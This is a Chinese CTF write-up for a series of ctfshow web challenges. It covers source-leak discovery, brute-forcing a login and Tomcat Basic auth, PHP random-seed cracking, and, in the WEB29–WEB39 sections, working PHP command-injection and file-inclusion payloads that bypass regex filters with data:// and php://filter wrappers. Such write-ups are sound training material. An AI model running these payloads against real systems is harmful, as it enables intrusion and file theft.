WEB1

开发注释未及时删除

image.png

WEB2

js前台拦截 === 无效操作

1
2
3
4
5
6
7
8
<script type="text/javascript">
//禁用右键
window.oncontextmenu = function(){return false};
//禁用选择复制
window.onselectstart = function(){return false};
//禁用F12
window.onkeydown = function(){if (event.keyCode==123){event.keyCode=0;event.returnValue=false;}};
</script>

禁用 JS

  1. URL 前面加上 view-source: 查看源码
  2. firefox 插件 Disable Javascript

    WEB3

    没思路的时候抓个包看看,可能会有意外收获

image.png

WEB4

总有人把后台地址写入robots,帮黑阔大佬们引路。

image.png

WEB5

phps源码泄露有时候能帮上忙

脑洞题目,.phps 后缀扫目录扫不出来
image.png

WEB6

扫目录,扫出来 www.zip
image.png

WEB7-git泄露

版本控制很重要,但不要部署到生产环境更重要。

git 泄露工具:https://github.com/BugScanTeam/GitHack
image.png
image.png

WEB8-svn泄露

版本控制很重要,但不要部署到生产环境更重要。

svn 泄露工具:https://github.com/kost/dvcs-rippeLinuxr
image.png

WEB9-vim缓存泄露

vim 编辑器在使用过程中会留下 vim 编辑器缓存文件 filename.swp ,当 vim 异常退出时,缓存会一直留在服务器上,引起网站源码泄露

1
vim -r index.php.swp

WEB10

cookie 只是一块饼干,不能存放任何隐私数据

image.png

WEB11

域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息

image.png

WEB12

有时候网站上的公开信息,就是管理员常用密码

社会工程学找密码、账号
image.png
image.png
image.png

WEB13

扫出 pdf 文档
image.png
image.png

WEB14

有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

/editor 打开编辑器上传文件查看全盘文件路径

WEB15

页脚 qq 邮箱注册地址就是密保
image.png

WEB16

扫目录没扫到,猜的 tz.php ,访问 phpinfo 读取环境变量中的 flag
image.png

WEB17

题目环境被破坏了,原题不知道是不是有绕过CDN查源站 ip

WEB18-js游戏

js 小游戏,打断点然后到控制台将 score 设置大于 101
image.png
image.png

WEB19

原意应该是要进行 aes 换源出密码,因为秘钥都有,但直接给出后台判断源码,直接 burp 抓包替换密文
image.png
image.png

WEB20

access 数据库 /db/db.mdb 下载文件通过txt打开

WEB21

tomcat 登录爆破,实际上不需要知道是 tomcat 也能爆破。burp 抓一个登录包,Authorization 字段就是加密的账号密码,格式为:username:password,然后进行 base64 加密
python 爆破难度不大,试下 burp 爆破,熟悉工具

payload模式

设置为自定义迭代器
image.png

payload结构

导入用户名
image.png
设置 tomcat 隔断
image.png
导入密码
image.png

payload编码

base64 编码
image.png
同时取消 payload 的 url 编码
image.png
成功爆破出账号密码image.png

WEB22-子域名爆破

子域名爆破,flag 的二级域名字典应该都没有

WEB23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
//关闭错误报告
error_reporting(0);

include('flag.php');
if (isset($_GET['token'])) {
$token = md5($_GET['token']);
if (substr($token, 1, 1) === substr($token, 14, 1) && substr($token, 14, 1) === substr($token, 17, 1)) {
if ((intval(substr($token, 1, 1)) + intval(substr($token, 14, 1)) + substr($token, 17, 1)) / substr($token, 1, 1) === intval(substr($token, 31, 1))) {
echo $flag;
}
}
} else {
highlight_file(__FILE__);

}
?>

md5 爆破,这里选择 3 字符 md5 加密,其他长度也可以

1
2
3
4
5
6
7
8
9
10
11
12
#encoding:utf-8
import hashlib
dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

for a in dic:
for b in dic:
for c in dic:
md5 = hashlib.md5((a+b+c).encode()).hexdigest()
if(md5[1]==md5[14]):
if(md5[14]==md5[17]):
if(eval(("{}+{}+{}".format(int(md5[1],16),int(md5[14],16),int(md5[17],16))))==int(md5[31],16)):
print(a+b+c)

WEB24

固定随机种子随机数固定,需要在 ubuntu20 环境下生成随机数,mac 本地生成的不对,或者到在线网站生成:https://tool.lu/coderunner

1
2
3
4
5
<?php
mt_srand(372619038);
echo mt_rand();
?>
//1155388967

WEB25-爆破随机数种子

根据第一个随机数逆向爆破出种子
使用工具:https://www.openwall.com/php_mt_seed/
image.png

1
2
3
4
5
<?php
mt_srand(2868735451);
echo mt_rand().'</br>';//434000981
echo mt_rand()+mt_rand();
?>

WEB26

爆破登录密码,其他参数随便设置都可以,最后密码是7758521
第二种方法是看其他师傅 wp 的,传入参数全部为空,返回报文就会带上 flag ,原理要查看 checkdb.php

WEB27

登录之后下载学生信息,从 excel 获取确实生日的身份证号码,然后用姓名和身份证重置密码。
firefox 抓不到重置包,f12 查源码看到请求键值对是 a 和 p 构造 post 包到 checkdb.php
image.png
burp 爆破生日,请求报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /info/checkdb.php HTTP/1.1
Host: c2f0b717-77e3-45a1-b820-d6542f6b5daf.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://c2f0b717-77e3-45a1-b820-d6542f6b5daf.challenge.ctf.show:8080/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

a=%E5%85%83%E7%BE%BF%E8%B0%86&p=451023§********§3419

payload 参数设置:
image.png
登录之后就是 flag

WEB28

url 地址爆破

WEB29

主要是命令凭借和字符串拼接
?c=echo nl fla''g.php;

  • 反引号运行命令
  • 单引号拼接字符串绕过正则匹配

    WEB30

    和上一题一样,多了 php 过滤而已
    ?c=echo nl fl'ag'.'p'hp;

    WEB31

构造命令执行

由函数执行的 eval 构造出命令执行,正则匹配了 system ,使用 passthru

1
?c=passthru($_POST[a]);

image.png

绕过正则匹配

1
?c=echo`nl%09fla""*`;

用 TAB (%09)代替空格

WEB32

1
2
3
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

比前面过滤更多,因为过滤了(,所以 passthru 也没有办法使用,include 不需要括号可以绕过;过滤 ; 可以用 ?> 绕过;过滤 可以用 %09 绕过;
文件包含 php 伪协议 filter 读取 flag.php

filter 协议读取加密flag

1
?c=include%09$_POST["url"]?>

post 内容:

1
url=php://filter/read=convert.base64-encode/resource=flag.php

image.png

data 协议命令执行

1
?c=include%09$_POST["url"]?>

post 内容:

1
url=data://text/plain,<?php%20system('nl flag.php');?>

image.png

WEB33

比上一题多过滤了双引号,用数字变量绕过:
?c=include%09$_POST[1]?>
1=data://text/plain,<?php%20system('nl flag.php');?>
image.png

WEB34

接下来几条题目都可以用 WEB33 payload 打,因为多增加的正则匹配都是针对 GET 请求参数,而伪协议 payload 放在 post 包里面,所以可以绕过

用上一条题目 payload 可以打通

WEB35

用上上一条题目 payload 可以打通

WEB36

将变量名改成字母
?c=include%09$_POST[a]?>
a=data://text/plain,<?php%20system('nl flag.php');?>
image.png

WEB37

过滤 flag ,eval 函数执行换成了 include ,需要用伪协议控制,php://filter 需要完整的文件名没办法实现,用 data:// 构造命令执行读取

data协议

命令执行
?c=data://text/plain,<?php%20system("nl fl''ag.php");?>

data协议+base64

命令执行
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

WEB38

多加过滤 php ,base64 data:// 协议就好了,和上一题 payload 一样

WEB39

这里用 data+base64 的话,base64字符串会被多加 .php 而解密失败么?

data协议

?c=data://text/plain,<?php%20system("nl fl''ag.php");?>